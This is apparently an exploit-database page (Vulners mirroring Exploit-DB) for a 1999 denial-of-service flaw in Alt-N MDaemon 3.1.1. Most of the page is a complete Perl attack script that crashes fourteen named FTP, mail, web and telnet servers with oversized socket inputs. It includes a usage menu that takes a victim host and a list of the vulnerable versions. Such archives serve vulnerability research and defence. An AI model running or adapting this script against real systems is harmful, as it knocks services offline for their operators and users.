Lucene search
K

Alt-N MDaemon 3.1.1 - Denial of Service

🗓️ 01 Dec 1999 00:00:00Reported by Ussr LabsType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 27 Views

Alt-N MDaemon 3.1.1 is vulnerable to denial of service from crafted URL requests requiring restart.

Code
source: https://www.securityfocus.com/bid/1689/info

Alt-N MDaemon 3.1.1 is subject to a denial of service. If a remote user requests a specially crafted URL to the web services within MDaemon the service will crash. A restart of the service is required in order to gain normal functionality.

#!/usr/bin/perl
#####################################################################
# Based upon advisories by USSR (www.ussrback.com)		    #
#								    #
# Demonstration script to remotely overflow various server buffers, #
# resulting in a denial of service, for TESTING purposes only.	    #
# Runs on *nix & WinXX with perl & Net::Telnet available from CPAN  #
#								    #
# G6 FTP Server          v2.0 beta4/5				    #
# MDaemon httpd Server   v2.8.5.0				    #
# Avirt Mail Server      v3.5					    #
# BisonWare FTP Server   v3.5					    #
# Vermillion FTP Server  v1.23					    #
# ZetaMail POP3 Server   v2.1					    #
# WFTPD FTP Server       2.40					    #
# BFTelnet Server        v1.1					    #
# Broker FTP Server      v3.5				            #
# ExpressFS  FTP server  v2.x					    #
# XtraMail POP3 Server   v1.11					    #
# Cmail SMTP Server      v2.4	                                    #
# PakMail SMTP/POP3	 v1.25			                    #
#								    #
# December '99							    #
#####################################################################

use IO::Socket;
use Getopt::Std;
#use Net::Telnet;
getopts('h:p:t:u:v', \%args);
if(!defined($args{h}) && !defined($args{t})) { 
print  qq~Usage:    $0 -h <victim> -t <number> ((-u username) | (-p password)) | -v

	-h victim to test remote overflow DoS on
	-t server type (check the -v option for list)
	-u username authorisation (required if server prompts for username)
	-p password authentication (required if user/passwd is expected)
	-v lists all servers vulnerable to each DoS

~; exit; }

if(defined($args{u})) { $user=$args{u}; }
if(defined($args{p})) { $pass=$args{p}; }
if(defined($args{v})) { &vulnerable; }
if(defined($args{h}) && defined($args{t})){
if(($args{t}) == 1)  { &G6;         }
if(($args{t}) == 2)  { &mdaemon;    }
if(($args{t}) == 3)  { &avirt;      }
if(($args{t}) == 4)  { &bisonware;  }
if(($args{t}) == 5)  { &vermillion; }
if(($args{t}) == 6)  { &zetamail;   }
if(($args{t}) == 7)  { &wftpd;      }
if(($args{t}) == 8)  { &bftelnet;   } 
if(($args{t}) == 9)  { &broker;     } 
if(($args{t}) == 10) { &expressfs;  } 
if(($args{t}) == 11) { &xtramail;   }
if(($args{t}) == 12) { &cmail;      }
if(($args{t}) == 13) { &pakmail;    } 
if(($args{t}) == 14) { &pakpop;     }}

sub G6 { 
$denial .= "A" x 2000;
$victim=$args{h};
	$socket = IO::Socket::INET->new (Proto => "tcp",
				  	 PeerAddr => $victim,
				  	 PeerPort => "21") or die "Can't connect.\n";
	$socket->autoflush(1);
print $socket "$denial\n"; # user
print "\nSent overflow to $victim\n";
close $socket; }

sub mdaemon {
$victim=$args{h};
$denial .= "A" x 1025;
$url = "/$denial";
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "80") or die "Can't connect.\n";
print $socket "GET $url\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub avirt { 
$victim=$args{h};
$denial .= "A" x 856;
	$socket = IO::Socket::INET->new (Proto => "tcp",
			                 PeerAddr => $victim,
                			 PeerPort => "25") or die "Can't connect\n";
        $socket->autoflush(1);
print $socket "user $user\n";
print $socket "pass $denial\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub bisonware {
$victim=$args{h};
$denial .= "A" x 2000;
	$socket = IO::Socket::INET->new (Proto => "tcp",
			                 PeerAddr => $victim,
                			 PeerPort => "21") or die "Can't connect\n";
        $socket->autoflush(1);
print $socket "$denial\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub vermillion {
$victim=$args{h};
$denial .= "A" x 504;
	$socket = IO::Socket::INET->new (Proto => "tcp",
			                 PeerAddr => $victim,
                			 PeerPort => "21") or die "Can't connect\n";
        $socket->autoflush(1);
print $socket "$user\n";
print $socket "$pass\n";
print $socket "cwd $denial\n";
for($i=0; $i<=3; $i++) { print $socket "CWD $denial\n"; }
print "\nSent overflow to $victim\n";
close $socket; }

sub zetamail {
$victim=$args{h};
$denial .= "A" x 3500;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "110") or die "Can't connect.\n";
print $socket "user $denial\n"; 
print $socket "pass $denial\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub wftpd {
$victim=$args{h};
$denial .= "A" x 255;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "21") or die "Can't connect.\n";
print $socket "$user\n";
print $socket "$pass\n";
print $socket "MKDIR $denial\n";
print $socket "CWD $denial\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub bftelnet {
# use Net::Telnet;
$victim=$args{h};
$denial .= "A" x 3090;
$telnet = new Net::Telnet ( Timeout =>10,
			    Errmode =>'die');
$telnet->open('$victim');
$telnet->waitfor('/Login: $/i');
$telnet->print('$denial');
print "\nSent overflow to $victim\n";
close $telnet; }

sub broker {
$victim=$args{h};
$denial .= "A" x 2730;
	$socket = IO::Socket::INET->new (Proto => "tcp",
			                 PeerAddr => $victim,
                			 PeerPort => "21") or die "Can't connect.\n";
print $socket "$denial\n";
print "\nSent overflow to $victim\n";
close $socket; }


sub expressfs {
$victim=$args{h};
$denial .= "A" x 654;
	$socket = IO::Socket::INET->new (Proto => "tcp",
			                 PeerAddr => $victim,
                			 PeerPort => "21") or die "Can't connect.\n";
print $socket "$denial\n";
print $socket "AAAAAAAAAAAAAAAAAAA\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub xtramail {
$victim=$args{h};
$denial .= "A" x 2930;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "25") or die "Can't connect.\n";
print $socket "MAIL FROM: test\@localhost\n";
print $socket "RCPT TO: $denial\@localhost\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub cmail {
$victim=$args{h};
$denial .= "A" x 7090;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "25") or die "Can't connect.\n";
print $socket "MAIL FROM: $denial\@localhost\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub pakmail {
$victim=$args{h};
$denial .= "A" x 1390;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "25") or die "Can't connect.\n";
print $socket "MAIL FROM: test\@localhost\n";
print $socket "RCPT TO: $denial\@localhost\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub pakpop {
$victim=$args{h};
$denial .= "A" x 1400;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "110") or die "Can't connect.\n";
print $socket "user test\n";
print $socket "pass $denial\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub vulnerable {
print qq~
 ______________________________________________________________________________
    Vulnerable Daemon        Version         Vulnerable Daemon         Version
 ______________________________________________________________________________

 [1] G6 FTP Server           v2.0b4/5     [2] MDaemon httpd Server     v2.8.5.0

 [3] Avirt Mail Server       v3.5         [4] BisonWare FTP Server     v3.5

 [5] Vermillion FTP Server   v1.23        [6] ZetaMail SMTP Server     v2.1

 [7] WFTPD FTP Server        v2.40        [8] BFTelnet Server          v1.1

 [9] Broker FTP Server       v3.5        [10] ExpressFS FTP Server     v2.x 

[11] XtraMail POP3 Server    v1.11       [12] Cmail SMTP Server        v2.4

[13] PakMail SMTP Server     v1.25       [14] PakMail POP3 Server      v1.25

~; exit; }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Dec 1999 00:00Current
7High risk
Vulners AI Score7
27